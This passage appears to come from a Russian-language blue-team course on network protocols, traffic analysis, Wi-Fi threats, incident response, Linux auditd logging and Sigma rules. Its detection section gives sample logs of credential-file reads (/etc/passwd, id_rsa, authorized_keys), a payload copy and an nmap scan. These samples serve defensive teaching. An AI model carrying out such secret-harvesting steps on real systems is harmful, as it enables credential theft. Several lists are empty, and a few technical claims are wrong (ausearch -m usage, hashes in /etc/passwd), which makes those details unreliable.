    • Location: Используется для перенаправления клиента на другой ресурс или URL.
    • Server: Содержит информацию о веб-сервере, который обрабатывает запрос.
    • Content-Type: Указывает тип медиа-ресурса в теле ответа (например, текст, изображение, JSON и т. д.).
    • Set-Cookie: Устанавливает куки на стороне клиента, позволяя серверу хранить информацию о состоянии сеанса.
  4. Заголовки сущности (Entity Headers):
    • Content-Length: Указывает размер тела сообщения в октетах (байтах).
    • Content-Encoding: Указывает метод сжатия данных, используемый в теле сообщения.
    • Content-Disposition: Позволяет указать, должно ли содержимое быть отображено в браузере или загружено как файл.

TLS-рукопожатие

1. Приветствие (ClientHello): Процесс начинается с того, что клиент отправляет серверу сообщение ClientHello, в котором он указывает поддерживаемые криптографические алгоритмы и другие параметры.

2. Ответ сервера (ServerHello): Сервер выбирает подходящие параметры из списка, предложенного клиентом, и отправляет сообщение ServerHello в ответ. Это сообщение также включает в себя сертификат сервера, который клиент может использовать для проверки подлинности сервера.

3. Аутентификация сервера (Server Certificate): Сервер отправляет свой цифровой сертификат клиенту, который содержит публичный ключ сервера и информацию о сертификационном центре, который подписал сертификат.

4. Аутентификация клиента (Optional Client Certificate): Если сервер требует аутентификацию клиента, он может запросить клиентский сертификат. Клиент отправляет свой сертификат серверу, который также содержит публичный ключ клиента.

5. Обмен ключами (Key Exchange): Клиент и сервер обмениваются ключами для шифрования и расшифрования данных. Это может включать в себя процесс Diffie-Hellman обмена ключами или использование предварительно распределенных ключей (Pre-Shared Key) в случае TLS 1.3.

6. Завершение рукопожатия (Finished): После установки ключей и параметров шифрования, клиент и сервер отправляют Finished сообщения друг другу для подтверждения, что рукопожатие завершено успешно.

7. После завершения TLS рукопожатия оба конца соединения могут безопасно обмениваться данными, которые автоматически шифруются и расшифровываются с использованием установленных ключей.

SNI

SNI (Server Name Indication) — это расширение протокола TLS. SNI позволяет клиентскому устройству указывать серверу, с каким конкретным доменным именем оно хочет установить защищенное TLS-соединение. Это особенно важно в сценариях виртуального хостинга, где на одном сервере размещаются несколько веб-сайтов с разными доменными именами.

Анализ SNI в HTTPS трафике проводится для следующих целей:

Протоколы прикладного уровня

FTP

FTP по своей сути является небезопасным протоколом и большинство пользователей для передачи данных через безопасный канал используют такие инструменты как SFTP.

FTP использует сразу несколько портов одновременно. FTP использует порты 20 и 21 TCP. Порт 20 используется для передачи данных, порт 21 используется для исполнения управляющих FTP-сессией команд. 

FTP может работать в двух режимах. Активный это обычный операционный метод FTP, означающий что сервер ожидает от клиента контрольной команды PORT, заявляющей используемый для передачи данных порт. Пассивный режим открывает доступ к FTP-серверам, находящимся за межсетевым экраном или запрещающим прямое TCP-подключение NAT. В таком случае клиент посылает команду PASV и ждет отклика сервера, информирующего клиента о используемых для передачи данных IP и порте.

Команды, использующие порт 21:

SMB

SMB (Server Message Block) используется для обмена файлами, принтерами, портами и другими ресурсами, чаще всего используется Microsoft Windows. SMB ориентирован на соединение протоколом, требует аутентификации пользователя от хоста к ресурсу для подтверждения допуска. В прошлом SMB использовал в качестве транспортного механизма NetBIOS через порты UDP 137 и 138. После современных изменений SMB также поддерживает прямой TCP-транспорт через порт 445, NetBIOS через TCP порт 139 и даже протокол QUIC.

Большое количество повторяющихся неуспешных логинов может означать о попытке получить доступ к аккаунту пользователя или использовать его права. Это распространенная тактика, использующая украденные у аутентифицированного пользователя учетные данные и права для горизонтального перемещения по системе или получения доступа к ресурсам.

DNS

Протокол DNS (Domain Name System) отвечает за преобразование доменных имен (например, www.example.com) в IP-адреса, которые используются для обмена данными в сети.

Записи DNS:

A (Address) Record: Сопоставляет доменное имя с IPv4-адресом.
AAAA (IPv6 Address) Record: Сопоставляет доменное имя с IPv6-адресом.
CNAME (Canonical Name) Record: Устанавливает альтернативное доменное имя для существующего доменного имени.
MX (Mail Exchange) Record: Указывает почтовый сервер, который обрабатывает почтовые сообщения для доменного имени.
NS (Name Server) Record: Определяет DNS-серверы, ответственные за зону доменного имени.
PTR (Pointer) Record: Используется для обратного разрешения и сопоставляет IP-адрес с доменным именем.
TXT (Text) Record: Позволяет добавить произвольный текст к записи DNS.

ICMP-туннель — это метод, используемый злоумышленниками для передачи данных через сеть, используя ICMP-пакеты вместо стандартных данных. Туннелирование помогает обойти правила IDS/IPS и/или межсетевых экранов, так как трафик конкретного приложения (например, ssh) передается под видом ICMP пакетов.

Детектирование ICMP-туннелей:

Детектирование DNS-туннелей:

NetFlow 

Разработана Cisco для мониторинга и сбора статистики сетевого трафика. NetFlow собирает информацию о трафике в виде потоков на уровне сетевого устройства.

Каждое устройство, поддерживающее NetFlow, генерирует записи о трафике, содержащие информацию о переданных пакетах, объеме данных, источнике, назначении, протоколе и других параметрах.

Собранные данные могут быть использованы для анализа трафика и выявления различных характеристик сетевой активности. Это может включать в себя определение причин задержек в сети, выявление аномалий в трафике, в том числе NetFlow позволяет обнаруживать вредоносный трафик - например, DDoS атаки и сканирования, а также многое другое.

NetFlow включает в себя следующие компоненты:

NetFlow использует UDP или SCTP (Stream Control Transmission Protocol) для передачи данных от сенсора до коллектора. Как правило, коллектор слушает порты 2055, 9555 или 9995.

Потоки содержат в себе следующие поля в зависимости от протокола 3 уровня:

Обнаружение сканирования портов с помощью NetFlow

Предположим, было запущено простое сканирование открытых портов с помощью сканера портов Nmap с аргументами 

nmap -Pn -sV 192.168.1.2

Рассмотрим как сканирование открытых портов будет журналировано и задетектировано с помощью решения NetFlowAnalyzer от ManageEngine (данное решение является коммерческим с возможностью использования в течении 30дневного пробного периода и выбран в целях демонстрации в рамках данного курса).

Если посмотреть на скриншот ниже, то можно увидеть резкий всплеск сетевого трафика в 17:55 направленного на хост с IP-адресом 192.168.1.2. 

На скришоте ниже видно количество входящих сетевых пакетов, которые в момент сканирования портов достигли значения 2116.

Рассмотрим события из вкладки Security, в котором могут быть сработки сигнатур для выявления различных аномалий, где мы как раз видим алерты сигнатуры TCP Syn Port Scan с IP-адреса 192.168.1.8 нацеленного на IP-адрес 192.168.1.2, как раз в 17:55.

Если открыть алерт со сканированием, то можно увидеть входящие в него события, где уже видно какие порты были просканированы.

Если дополнительно проанализировать на атакуемом хосте c IP-адресом 192.168.1.2 журналирование событий Sysmon с EventID = 3 (Network Connection), то можно увидеть большое количество сетевых соединений с различными портами, что также констатирует об активности сканирования портов.

Отсюда можно сделать вывод, что для выявления сканирований различных портов на одном хосте, необходимо отслеживать пиковые исходящие активности от одного хоста инициатора и анализировать их.

В качестве альтернативного решения для сбора, нормализации, визуализации и анализа NetFlow трафика может быть использован netflow модуль для logstash, который тоже поддерживает NetFlow 5 и 9 версии.

На панели «Overview» размещена сводка основных данных о сетевом трафике, возможно настроить фильтры.

На панели «Conversation Partners» IP-адреса отправителя, получателя и объем передаваемого трафика.

На панели «Traffic Analysis» можно более детально проанализировать объемы передаваемого трафика за конкретный временной период.

Затем можете перейти на панель «Geo Location», где визуально посмотрите тепловую карту с потоком сетевого трафика.

Обнаружение подозрительной активности в событиях сетевых устройств

Сетевое оборудование и межсетевые экраны журналируют события сетевых соединений, действия в системе и изменения в собственных настройках в стандарте syslog. Но фиксация кажового события сетевого соединения часто невозможна на высоконагруженных сетях из-за большого объема событий, поэтому менее затратным, в плане дисковой подсистемы, является мониторинг статистики сетевых соединений NetFlow.

События сетевого устройства Cisco

Рассмотрим примеры событий с Cisco ASA, у которого подробная документация по описанию событий. В рамках начального курса не будем углубляться в детали настройки системы журналирования. При необходимости подробно можно ознакомиться с конфигурированием аудита на сайте вендора.

May  5 19:02:25 dev01: %ASA-3-113021: Attempted console login failed. User adm did NOT have appropriate Admin Rights.
May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = adm , Session Type: admin
May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = ivan , Session Type: WebVPN
May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <adm> IP <172.31.98.44> Authentication: rejected, Session Type: Admin.
May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <ivan> IP <172.31.98.44> Authentication: rejected, Session Type: WebVPN.

Если обратить внимание, то события Cisco имеют структуру, где:

Соответственно первое событие 

May  5 19:02:25 dev01: %ASA-3-113021: Attempted console login failed. User adm did NOT have appropriate Admin Rights

фиксирует неудачную попытку аутентификации к консоли администрирования сетевого оборудования Cisco под учетной записью adm с правами администратора.

В следующем событии 

May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <adm> IP <172.31.98.44> Authentication: rejected, Session Type: Admin

зафиксирована информация, с какого IP-адреса(172.31.98.44) была неудачная попытка аутентификации к консоли сетевого оборудования под учетной записью adm, где так же указан тип сессии Admin, который позволит нам отличить от других типов соединений, таких как подключений к VPN, у которых будет тип сессии WebVPN Session Type: WebVPN.

Таким образом можно отслеживать несанкционированные попытки подключения, подбора паролей консоли управления сетевого оборудования для учетных записей сетевых устройств.

Следующий набор событий для примера:

May  5 19:03:27 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list fw211111_access_out brief
May  5 19:02:26 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list aaa_out brief
Apr 27 02:03:03 dev01: %ASA-5-111004: console end configuration: OK
Apr 27 02:03:03 dev01: %ASA-5-111010: User 'enable_15', running 'CLI' from IP 10.10.0.87, executed 'clear'
Apr 27 02:03:03 dev01: %ASA-5-502103: User priv level changed: Uname: enable_15 From: 1 To: 15

Событие с идентификатором %ASA-7-111009 фиксирует любые команды без изменения конфигурации, выполненные в консоли управления сетевым оборудованием Cisco. В данном случае зафиксировано выполнение команды по выводу листа с разрешениями show access-list fw211111_access_out brief.

Событие с идентификатором %ASA-5-111010 фиксирует изменение конфигурации оборудования под учетной записьюenable_15, при это журналируется IP-адрес откуда был запущена консоль управления running 'CLI' from IP 10.10.0.87, в данном случае выполнена команда clear. 

Событие с идентификатором %ASA-5-502103 фиксирует изменение уровня привилегий у учетной записи enable_15 от 1 до 15 From: 1 To: 15.У оборудования Cisco всего используется 15 уровней привилегий. Уровень привилегий 1 (privilege 1). Соответствует пользовательскому режиму (т.е. в качестве приглашения в командной строке switch>). Команды из привилегированного режима недоступны. Уровень привилегий 15 (privilege 15). Привилегированный режим, где доступны все команды (приглашение в командной строке switch#).

Фильтрация 

Фильтрация исходящего трафика необходима прежде всего для предотвращения утечек данных и контроля использования внешних ресурсов. Основные методы:

Инструменты и технологии:

Фильтрация входящего трафика необходима для защиты от атак, направленных снаружи. Основные методы фильтрации входящего трафика:

Инструменты и технологии:

Подходы к анализу трафика

Сначала необходимо определить, что именно мы будем искать. Например, мы знаем, что злоумышленник закрепился на конкретном хосте, тогда нас будет интересовать входящий и исходящий трафик относительно этого хоста. Настроив фильтры при захвате трафика или при поиске в уже существующих дампах, мы можем приступать к анализу.

На что можно опираться при анализе трафика:

На этом этапе могут пригодиться другие инструменты вроде IDS и IPS. Опираясь на сигнатурный анализ, можно выявить не легитимный трафик и исходя из полученной информации развивать поиск.

Анализ сетевого трафика является динамическим процессом, способным изменяться в зависимости от доступных инструментов и "прозрачности" нашей сети (передается ли трафик в зашифрованном или в открытом виде).

Здесь важно уметь делать разделение данных на доступные для понимания фрагменты, изучение их на предмет отличий от обычного трафика и на потенциально вредоносный трафик вроде неавторизованных подключений через интернет с помощью RDP, SSH или Telnet. Выполняя анализ, мы также пытаемся определить существующие в трафике тренды и понять, насколько они соотносятся с обычным трафиком.

Практические советы по анализу трафика:

Поиск лучше всего начинать со стандартных протоколов, переходя к более редким постепенно по мере анализа. Большая часть атак происходит из интернета и поэтому требует получения доступа во внутреннюю сеть. Это означает появление трафика и создание касающихся его логов. HTTP/S, FTP, E-mail и обычный TCP и UDP трафик будет наиболее распространенным входящим внешним трафиком. Начинайте с него, фильтруя все, что не касается расследования. После этого проверьте все стандартные протоколы, обеспечивающие связь между сетями - SSH, RDP или Telnet. Когда вы ищете подобные аномалии, учитывайте политику безопасности сети. Допускает ли политика безопасности нашей организации сессии RDP, инициируемые извне? А использование Telnet?

Ищите паттерны. Один или несколько хостов регулярно сверяются с чем-то в интернете в одно и то же время? Это обычное поведение при взаимодействии с CnC серверами.

Обращайте внимание на уникальные события. Отличающаяся от обычных приложений строка Юзер-Агента или подключающиеся к внешнему серверу хосты также требуют внимания. Подозрение вызывает также привязанный только единожды или дважды порт - он может быть открытым для обратного CnC-трафика, для нестандартных действий с чьей-то стороны или же для аномально функционирующего приложения.

Не бойтесь просить помощи. Во-первых, после длительного просмотра дампов и логов можно упустить из вида важные детали, которые может заметить "свежий взгляд". Во-вторых, при разборе инцидента часто необходимо использовать другие компетенции помимо анализа сетевого трафика - например, просматривать логи DNS-сервера и контроллера домена.


Blue team

WiFi периметр

Фальшивые точки доступа

Rogue Access Point (фальшивая точка доступа) — это беспроводная точка доступа (AP), установленная и подключенная к сети без разрешения администратора и не является частью официальной инфраструктуры. Rogue AP представляют угрозу для безопасности сети, так как злоумышленник может размещать Rogue AP с целью выполнения таких атак, как перехват данных, человек посередине (man-in-the-middle), и подмену трафика. Как правило, на размещенной точке доступа устанавливается wi-fi сеть с названием (SSID), идентичным или очень похожим на имя публичной сети компании, таким образом пользователи не задумываясь могут подключаться к сети злоумышленника.

Мониторинг фальшивых точек доступа в офисном сетевом периметре может осуществляться следующими способами:

Существует несколько средств и методов для обнаружения фальшивых точек доступа:

  1. Системы Управления Беспроводными Сетями (WLAN Management Systems, WMS)
    Позволяют мониторить и управлять беспроводными сетями: могут автоматически сканировать беспроводное пространство для обнаружения новых точек доступа и анализа их характеристик. Эти системы также могут предоставлять средства для удаления или блокирования фальшивых точек доступа.

  2. Беспроводные системы предотвращения вторжений (Wireless Intrusion Prevention Systems, WIPS)
    Могут использовать различные методы обнаружения, такие как сбор статистики с беспроводных клиентов, анализ аномалий, и сканирование беспроводного пространства для обнаружения новых точек доступа. Некоторые WIPS также предоставляют средства для блокирования или предотвращения деятельности фальшивых точек доступа.

  3. Анализаторы спектра
    Могут обнаруживать беспроводные сигналы в диапазоне, включая те, которые исходят от Rogue AP.

  4. Мониторинг системных логов и событий
    Может выявить аномальную активность, такую как появление новых точек доступа, которые либо не входят в списки разрешенных, либо в целом не встречались ранее. Это требует внимательного мониторинга логов и реагирования на события, связанные с беспроводными сетями, техническим средством реализации такого мониторинга может являться SIEM система.

  5. Пассивное Сканирование
    Можно "прослушивать" беспроводные каналы, записывая информацию о видимых устройствах, тем самым можно иметь возможность обнаруживать новые подключенные точки доступа.

  6. Активное сканирование
    На точки доступа отправляются запросы и анализируются ответы с целью выявления фальшивых точек доступа.

Атака Evil Twin

Evil Twin — это атака на беспроводные сети, при которой злоумышленник создает поддельную точку доступа (AP), которая имитирует легитимную точку доступа. Злоумышленник заставляет пользователей подключаться к своей поддельной точке доступа, вместо легитимной, с целью перехвата данных или проведения других атак.

Основные этапы:

Защита от Evil Twin:

Атака Deauth

Атака deauthentication (или deauth) — это вид атаки, при которой отправляются пакеты деаутентификации клиентским устройствам или точке доступа (AP), с целью принудительного отключения устройства от Wi-Fi сети. Эта атака может быть использована с различными целями, включая отслеживание устройств, сбор информации о сети или даже проведение других атак, таких как атаки на перехват трафика.

Цели:

Принцип работы

Защита от атаки deauth

Одним из инструментов обнаружения атаки deauth является Deauthentication Detector. Deauthentication Detector использует python-библиотеку Scapy, которая содержит функционал для анализа сетевого трафика. Скрипт анализирует захваченный трафик и выявляет атаку по наличию deauth-пакета в трафике, в wireshark этот пакет будет выглядеть так:


 

Blue team

Противодействие во внутренней инфраструктуре

Концепция реагирования (response) относится к действиям, которые команда защиты предпринимает в ответ на обнаружение или подозрение на кибератаку. Основной целью реагирования является минимизация ущерба, выявление и изоляция инцидента, а также восстановление нормального функционирования системы. Ключевые этапы:

  1. Подготовка. Проведите оценку рисков и расставьте приоритеты в вопросах безопасности, определите, какие активы являются наиболее чувствительными и на каких критических инцидентах безопасности следует сосредоточить внимание команде. Создайте план коммуникации, задокументируйте роли, обязанности и процессы, а также наберите членов в группу реагирования на киберинциденты (CIRT).
  2. Идентификация. Команда должна иметь возможность эффективно выявлять отклонения от нормальной работы в организационных системах, а при обнаружении инцидента собирать дополнительные доказательства, принимать решение о серьезности инцидента и документировать «Кто, Что, Где, Почему». , и как".
  3. Сдерживание. Как только команда выявляет инцидент безопасности, ближайшей целью является сдерживание инцидента и предотвращение дальнейшего ущерба: Краткосрочное сдерживание — например, изоляция сегментов сети или отключение зараженных рабочих серверов и выполнение аварийного переключения. Долгосрочное сдерживание — применение временных исправлений к затронутым системам, чтобы их можно было использовать в рабочей среде, при этом восстанавливая чистые системы.
  4. Локализация. Команда должна определить основную причину атаки, удалить вредоносное ПО или угрозы и предотвратить подобные атаки в будущем. Например, если была использована уязвимость, ее следует немедленно исправить.
  5. Восстановление. Команда тщательно восстанавливает работоспособность затронутых производственных систем, чтобы гарантировать, что не произойдет еще одного инцидента. Важные решения на этом этапе заключаются в том, с какого времени и даты восстанавливать работу, как проверить, что затронутые системы вернулись в нормальное состояние, а также осуществлять мониторинг, чтобы гарантировать возвращение активности в нормальное состояние.
  6. Извлеченные уроки. Этот этап следует выполнить не позднее, чем через две недели после окончания инцидента, чтобы обеспечить свежесть информации в памяти команды. Цель этого этапа — завершить документирование инцидента, провести дальнейшее расследование, чтобы определить его полный масштаб, понять, где группа реагирования действовала эффективно, а также области, требующие улучшения.

Блокировка обнаруженных IOC

Блокируется исходящий трафик. Скомпрометированные устройства будут пытаться подключиться к внешнему Command & Control-серверу. 

95% пользовательского трафика в сети — это HTTP/HTTPS. На файерволе по умолчанию разрешаются эти два протокола на выход в интернет. Следует поднять внутренний DNS-сервер, для контроля общение с другими доменам. Отдельные порты, сервисы и протоколы разрешаются точечно.

IP-адрес

Имея IP адрес злоумышленника, он блокируется на фаерволе. Возможно блокировать на конечных устройствах, но это запасной вариант. Пример блокировки возможности взаимодействия с 8.8.8.8 на устройстве MikroTik: 

/ip route add dst-address=8.8.8.8 type=blackhole

Это блокирует маршрут. Бывает используются доменные имена для организации динамической IP адресации.

Доменные имена

Возможно создать собственную одноименную зону и возвращать 127.0.0.1. В логах DNS обнаруживаются другие зараженные ПК. Пример команды на блокировку DNS запросов на Microtik: 

/ip dns static add name=example.com address=127.0.0.1

Можно использовать Regex. В этом документе примеры дополнительных механик блокировок с помощью оборудования MikroTik, а так же альтернативный способ настройки примеров выше через UI.

Название файла / hash файла 

Кроме функционала osquery, альтернативы обнаружения файлов по имени или хеш-сумме инструментами open-source нет. 

 

Blue team

Обнаружение после проникновения Linux

Логгирование Linux

Пример анализа журнала аудита для выявления нелегитимной активности на различных этапах атаки.

Этап разведки

Разведка включает в себя сканирование портов, сбор информации о системе и сети. Примеры логов auditd, которые могут указывать на разведывательные действия:

Сканирование портов 
type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=22

Сбор информации о пользователях и группах

type=USER_AUTH msg=audit(1625525281.877:123): pid=12345 uid=0 auid=1000 ses=2 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.2 addr=192.168.1.3 terminal=ssh res=success'

Лог показывает успешную аутентификацию пользователя с именем пользователя root. Это может быть индикатором попытки получения привилегированного доступа.

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=16 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="whoami" exe="/bin/whoami" key="audit-wazuh-r"

Сбор информации о сетевых подключениях

type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=80

Сбор информации о файлах и директориях

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/etc/passwd" 

Запись указывает на успешное выполнение команды ls, которая пытается получить доступ к файлу /etc/passwd. Это может быть попытка собрать информацию о пользователях и их хэшах паролей.

Поиск SSH ключей

Попытка чтения файла id_rsa
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/id_rsa"

Успешное чтение файла id_rsa в домашней директории пользователя. Файл id_rsa обычно содержит закрытый ключ SSH.

Попытка чтения файлов с расширением .pub
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/home/user/.ssh/id_rsa.pub"

Попытка просмотра файлов с расширением .pub в директории ~/.ssh. Файлы с таким расширением обычно являются публичными ключами SSH.

Попытка выполнения команды find для поиска ключей
type=EXECVE msg=audit(1625525281.877:123): argc=3 a0="/usr/bin/find" a1="/home/user" a2="-name" a3="*.pub"

Выполнение команды find для поиска файлов с расширением .pub в домашней директории пользователя. Это может быть попытка сканирования домашней директории пользователя на предмет публичных ключей SSH.

Попытка получения доступа к каталогу ~/.ssh
type=PATH msg=audit(1625525281.877:123): item=0 name="/home/user/.ssh" inode=12345 dev=xx:xx mode=040700 ouid=1000 ogid=1000 rdev=00:00 obj=system_u:object_r:user_home_t:s0 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0

Запись указывает на попытку доступа к каталогу ~/.ssh в домашней директории пользователя. Каталог ~/.ssh часто содержит файлы ключей SSH.

Попытка чтения файлов authorized_keys
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/authorized_keys"

Успешное чтение файла authorized_keys в домашней директории пользователя. Файл authorized_keys обычно содержит открытые ключи SSH, которые используются для аутентификации пользователей.

Горизонтальное перемещение

Использование SSH для удаленного доступа
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success'

В логе показан успешный вход в систему под учетной записью root через SSH с IP-адреса 192.168.1.100. Если злоумышленник удаленно получил доступ к одной системе, он может использовать этот доступ для перемещения на другие системы внутри сети.

Использование общего ресурса для передачи файла

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=0 a2=7ffe392a6e00 a3=0 items=2 ppid=1 pid=1234 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=12345 comm="cp" exe="/bin/cp" key=(null) name="/tmp/malicious_payload.exe"

В логе зафиксировано копирование файла /tmp/malicious_payload.exe с одной системы на другую с помощью команды cp. 

Использование RSH/RCP
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:rshd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/rshd" hostname=192.168.1.101 addr=192.168.1.101 terminal=rsh res=success'

В логе зафиксирован вход в систему под учетной записью root через удаленную оболочку (RSH) с IP-адреса 192.168.1.101. Удаленные оболочки могут быть использованы злоумышленниками для горизонтального перемещения по сети.

Использование протокола SMB для доступа к общему ресурсу
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:smbd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/smbd" hostname=192.168.1.102 addr=192.168.1.102 terminal=smb res=success'

В этом логе зафиксирован успешный вход в систему под учетной записью root через протокол SMB (Server Message Block) с IP-адреса 192.168.1.102. Злоумышленник может использовать протокол SMB для доступа к общим ресурсам и файлам на других системах в сети.

Инструменты для работы с логами

ausearch

Ausearch — утилита для анализа журналов системы и аудита безопасности. Позволяет искать и анализировать записи в журналах аудита (auditd) на основе различных критериев, таких как время, пользователь, тип события и по другие атрибутам. Подробная информация здесь.

Рассмотрим пример записи в журнале аудита (/var/log/audit/audit.log):

type=USER_AUTH msg=audit(1513159418.705:86): pid=1234 uid=1000 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=192.168.1.10 addr=192.168.1.10 terminal=/dev/pts/0 res=success'

Это типичная запись в журнале аудита, которая содержит различные поля, такие как тип события (type), сообщение (msg), временная метка (audit), идентификатор процесса (pid), идентификатор пользователя (uid), идентификатор аудитируемого пользователя (auid), идентификатор сеанса (ses), подлежащий контекст (subj), и другие метаданные.

Пример использования ausearch для поиска определенной строки в логах:

ausearch -m USER_AUTH

Этот пример ищет все записи в журнале аудита, связанные с аутентификацией пользователя (тип события USER_AUTH).

Если вы хотите искать определенную строку в логах, вы можете использовать ключ -m (или --message), указав текст строки, которую вы хотите найти. Например:

ausearch -m "op=login"

Это команда найдет все записи в журнале аудита, в которых встречается строка "op=login".

Важным ключом ausearch является ключ -i, --interpret, который позволяет выводить информацию в человекочитаемом виде.

Пример записи аудита без использования ключа --interpret:

type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=2 success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null)

Тот же самый пример, но с использованием ключа --interpret:

type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=open success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null)

При использовании ключа --interpret, числовые значения, такие как syscall=2, были заменены их текстовыми описаниями, в данном случае "syscall=open".

augenrules

augenrules — это утилита, которая используется для обновления файла конфигурации правил аудита. Этот файл определяет правила аудита, которые определяют, какие события должны быть аудиторованы системой аудита Linux.

Когда вы создаете или изменяете правила аудита в системе, вы можете использовать augenrules, чтобы применить эти изменения и обновить файл audit.rules, который используется демоном аудита Linux (auditd). Обычно файл audit.rules хранится в /etc/audit/rules.d/ или /etc/audit/, и augenrules помогает управлять этим файлом с учетом ваших настроек.

Пример использования augenrules может выглядеть так:

augenrules --load

Эта команда загрузит правила аудита из всех файлов конфигурации в /etc/audit/rules.d/ и применит их к текущей конфигурации аудита. Это может быть полезно после внесения изменений в файлы правил, чтобы убедиться, что изменения вступают в силу без перезапуска службы аудита.

Правила Sigma

Sigma — унифицированный формат описания правил детектирования событий на основе данных из логов. Правила хранятся в отдельных YAML-файлах. Sigma позволяет написать правило, используя унифицированный синтаксис, один раз, а затем с помощью специального конвертера получить правило в синтаксисе поддерживаемой SIEM-системы. Также Sigma позволяет создавать запросы, использующие утилиту grep с нужными параметрами, что не требует дополнительных инструментов для парсинга логов.

Синтаксис правил

В каждом правиле есть обязательные и необязательные к заполнению поля, схему правила Sigma можно представить так:

Обязательные поля:

logsource определяет, на события из каких источников будет срабатывать правило. Состав logsource:

Например, в logsource можно задать следующие поля:

logsource:
  product: linux
  service: auditd
logsource:
  product: aws
  service: guardduty

detection предназначен для определения условий обнаружения событий или действий, на которые будут срабатывать правила. Список полей:

  1. Selections: ключевое поле, в котором описываются условия выбора событий для анализа. Это могут быть различные атрибуты событий, такие как тип события, значения полей событий, ключевые слова в тексте логов и т. д. Например, можно указать определенный тип события или значение поля, которое требуется отслеживать.
    В этом поле можно выделить следующие варианты:
    • EventID: определяет тип события, на которое следует реагировать. Например, в Windows EventID 4625 обозначает неудачную попытку входа в систему.
    • ProcessName: указывает на имя процесса, который сгенерировал событие. Например, "svchost.exe" или "apache2".
    • AccountName: определяет имя учетной записи, с которой связано событие. Это может быть имя пользователя, группы и т. д.
    • IPAddress: определяет IP-адрес, связанный с событием. Это может быть как исходный, так и целевой IP-адрес.
    • DestinationPort: указывает на номер порта, к которому относится событие, например, порт 22 для SSH или порт 80 для HTTP.
    • CommandLine: определяет команду, которая была выполнена в командной строке. Например, в Windows это может быть команда, запущенная с помощью cmd.exe.
    • RegistryKey: указывает на ключ реестра, связанный с событием. Например, "HKLM\Software\Microsoft\Windows\CurrentVersion\Run".
    • ParentProcessName: Определяет имя родительского процесса, который породил событие.
    • BytesTransferred: указывает на количество переданных байтов в результате события, например, при сетевой активности.
    • TargetUserName: определяет целевое имя пользователя, на которое направлено событие.
    • и др.
